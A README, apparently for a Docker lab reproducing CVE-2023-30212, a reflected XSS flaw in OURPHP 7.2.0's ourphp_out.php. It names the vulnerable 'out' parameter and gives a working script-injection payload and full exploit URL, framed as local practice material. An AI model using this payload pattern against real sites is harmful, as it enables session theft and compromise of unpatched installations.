
Ce dépôt fournit un conteneur Docker pour simuler la vulnérabilité CVE-2023-30212, vous permettant de vous entraîner et de comprendre son impact. Il comprend un guide complet pour vous aider à configurer le conteneur sur votre propre ordinateur. La documentation du processus de création Docker est également incluse.
| Fournisseur | Produit | Version |
|---|
| ourphp | ourphp | 7.2.0 |
Pour installer OURPHP <= 7.2.0 dans Docker, vous pouvez utiliser guide pour installer Docker à des fins de pratique.
# ourphp 7.2.0 version has a vulnerability to XSS (Cross-Site Scripting).
# In the file /client/manage/ourphp_out.php, there is a direct echo functionality that, along with controllable variables, can enable attackers to execute XSS code.When the ourphp_admin parameter is set to "logout," we echo a controllable variable called "out."
# To exploit this, we prepend a script tag and close it, forming our payload.This vulnerability can be exploited through the "out" parameter by injecting the following script: "</script><script>alert(xss)</script>"
# After completing the setup of the docker directly. Access the following path :
http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(`xss`)</script>
# </script><script>alert(`xss`)</script>